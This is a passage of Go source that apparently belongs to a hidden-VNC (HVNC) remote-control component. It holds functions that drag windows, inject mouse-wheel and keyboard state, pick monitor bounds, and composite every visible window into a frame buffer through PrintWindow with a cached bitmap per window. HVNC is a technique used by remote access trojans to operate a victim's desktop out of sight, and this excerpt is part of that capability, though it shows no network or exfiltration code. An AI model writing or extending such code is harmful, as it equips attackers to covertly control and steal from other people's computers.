hwnd := hvncWindowToMove offset := hvncMoveOffset size := hvncWindowSize hvncInputMu.Unlock() if !moving || hwnd == 0 { return } newX := int32(screenPt.x) - offset.x newY := int32(screenPt.y) - offset.y procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0) } func endHVNCWindowDrag(screenPt point) { hvncInputMu.Lock() moving := hvncMovingWindow hwnd := hvncWindowToMove offset := hvncMoveOffset size := hvncWindowSize hvncMovingWindow = false hvncWindowToMove = 0 hvncInputMu.Unlock() if !moving || hwnd == 0 { return } newX := int32(screenPt.x) - offset.x newY := int32(screenPt.y) - offset.y procSetWindowPos.Call(hwnd, 0, uintptr(newX), uintptr(newY), uintptr(size.x), uintptr(size.y), 0) } func hvncMouseWheelOnThread(delta int32) error { pt := currentHVNCCursor() hwnd := windowFromPoint(pt) if hwnd == 0 { hwnd = getWorkingWindow() if hwnd == 0 { return nil } } wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons()) procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y)) return nil } func isNonPrintableVK(vk uint16) bool { if vk >= 0x70 && vk <= 0x7B { // F1-F12 return true } switch vk { case 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28: // PageUp/Down, End, Home, Arrows return true case 0x2D, 0x2E: // Insert, Delete return true case 0x5B, 0x5C, 0x5D: // Win, Win, Apps return true case 0x91, 0x90: // Scroll, NumLock return true case 0x0D, 0x1B, 0x09, 0x08: // Enter, Escape, Tab, Backspace return true case 0x10, 0xA0, 0xA1, 0x11, 0xA2, 0xA3, 0x12, 0xA4, 0xA5, 0x14: return true default: return false } } func isModifierVK(vk uint16) bool { switch vk { case VK_SHIFT, VK_LSHIFT, VK_RSHIFT, VK_CONTROL, VK_LCONTROL, VK_RCONTROL, VK_MENU, VK_LMENU, VK_RMENU, VK_CAPITAL: return true default: return false } } func updateModifierState(vk uint16, down bool) { hvncInputMu.Lock() defer hvncInputMu.Unlock() switch vk { case VK_SHIFT, VK_LSHIFT, VK_RSHIFT: hvncShiftDown = down case VK_CONTROL, VK_LCONTROL, VK_RCONTROL: hvncCtrlDown = down case VK_MENU, VK_LMENU, VK_RMENU: hvncAltDown = down case VK_CAPITAL: if down { hvncCapsLock = !hvncCapsLock } } } func buildKeyboardState() []byte { state := make([]byte, 256) hvncInputMu.Lock() shift := hvncShiftDown ctrl := hvncCtrlDown alt := hvncAltDown caps := hvncCapsLock hvncInputMu.Unlock() if shift { state[VK_SHIFT] = 0x80 } if ctrl { state[VK_CONTROL] = 0x80 } if alt { state[VK_MENU] = 0x80 } if caps { state[VK_CAPITAL] = 0x01 } return state } func HVNCMonitorCount() int { return displayCount() } func hvncResolveCaptureBounds(display int) (image.Rectangle, string) { mons := monitorList() if display >= 0 && display < len(mons) { mon := mons[display] bounds := captureBounds(mon) if bounds.Dx() > 0 && bounds.Dy() > 0 { return bounds, fmt.Sprintf("monitor=%d name=%q", display, mon.name) } } if desktopBounds, ok := hvncDesktopBounds(); ok { return desktopBounds, "desktop" } vx := int(getSystemMetric(SM_XVIRTUALSCREEN)) vy := int(getSystemMetric(SM_YVIRTUALSCREEN)) vw := int(getSystemMetric(SM_CXVIRTUALSCREEN)) vh := int(getSystemMetric(SM_CYVIRTUALSCREEN)) if vw > 0 && vh > 0 { return image.Rect(vx, vy, vx+vw, vy+vh), "virtual" } return image.Rectangle{}, "unknown" } func drawHVNCWindowsToBuffer(hdcScreen uintptr, bounds image.Rectangle, target []byte, targetStride int) int { hwnd := getTopWindow(0) if hwnd == 0 { return 0 } hwnd = getWindow(hwnd, GW_HWNDLAST) if hwnd == 0 { return 0 } // Initialize cache if needed if hvncWinCache == nil { hvncWinCache = make(map[uintptr]*hvncWinCacheEntry) } // Track which windows are still alive this frame alive := make(map[uintptr]bool) drawn := 0 for hwnd != 0 { if drawHVNCWindow(hdcScreen, hwnd, bounds, target, targetStride) { drawn++ } alive[hwnd] = true hwnd = getWindow(hwnd, GW_HWNDPREV) } // Evict cache entries for windows that no longer exist for h, entry := range hvncWinCache { if !alive[h] { hvncFreeCacheEntry(entry) delete(hvncWinCache, h) } } return drawn } func hvncGetOrCreateCache(hdcScreen uintptr, hwnd uintptr, w, h int) *hvncWinCacheEntry { entry, ok := hvncWinCache[hwnd] if ok && entry.w == w && entry.h == h && entry.hdcMem != 0 && entry.hbmp != 0 { entry.age = 0 return entry } if ok { hvncFreeCacheEntry(entry) } hdcMem := createCompatibleDC(hdcScreen) if hdcMem == 0 { return nil } bmi := bitmapInfo{ bmiHeader: bitmapInfoHeader{ biSize: uint32(unsafe.Sizeof(bitmapInfoHeader{})), biWidth: int32(w), biHeight: -int32(h), biPlanes: 1, biBitCount: 32, biCompression: BI_RGB, }, } var bits unsafe.Pointer hbmp := createDIBSection(hdcMem, &bmi, DIB_RGB_COLORS, &bits) if hbmp == 0 || bits == nil { deleteDC(hdcMem) return nil } selectObject(hdcMem, hbmp) entry = &hvncWinCacheEntry{ hdcMem: hdcMem, hbmp: hbmp, bits: bits, w: w, h: h, } hvncWinCache[hwnd] = entry return entry } func hvncFreeCacheEntry(entry *hvncWinCacheEntry) { if entry.hbmp != 0 { deleteObject(entry.hbmp) } if entry.hdcMem != 0 { deleteDC(entry.hdcMem) } } func drawHVNCWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool { if !isWindowVisible(hwnd) { return false } var r rect ok, _, _ := procGetWindowRect.Call(hwnd, uintptr(unsafe.Pointer(&r))) if ok == 0 { return false } winLeft := int(r.left) winTop := int(r.top) winRight := int(r.right) winBottom := int(r.bottom) if winRight <= winLeft || winBottom <= winTop { return false } if winRight <= bounds.Min.X || winLeft >= bounds.Max.X || winBottom <= bounds.Min.Y || winTop >= bounds.Max.Y { return false } winW := winRight - winLeft winH := winBottom - winTop if winW <= 0 || winH <= 0 { return false } // Use pooled DC+DIB from cache entry := hvncGetOrCreateCache(hdcScreen, hwnd, winW, winH) if entry == nil { return false } if !printWindow(hwnd, entry.hdcMem, PW_RENDERFULLCONTENT) { entry.lastOK = false entry.age++ return false } entry.lastOK = true buf := unsafe.Slice((*byte)(entry.bits), winW*winH*4) winStride := winW * 4 interLeft := maxInt(winLeft, bounds.Min.X) interTop := maxInt(winTop, bounds.Min.Y) interRight := minInt(winRight, bounds.Max.X) interBottom := minInt(winBottom, bounds.Max.Y) if interRight <= interLeft || interBottom <= interTop { return false } srcX := interLeft - winLeft srcY := interTop - winTop dstX := interLeft - bounds.Min.X dstY := interTop - bounds.Min.Y copyW := interRight - interLeft copyH := interBottom - interTop for y := 0; y < copyH; y++ { srcStart := (srcY+y)*winStride + srcX*4 dstStart := (dstY+y)*targetStride + dstX*4 copy(target[dstStart:dstStart+copyW*4], buf[srcStart:srcStart+copyW*4]) } return true } func maxInt(a, b int) int { if a > b { return a } return b } func minInt(a, b int) int { if a < b { return a } return b }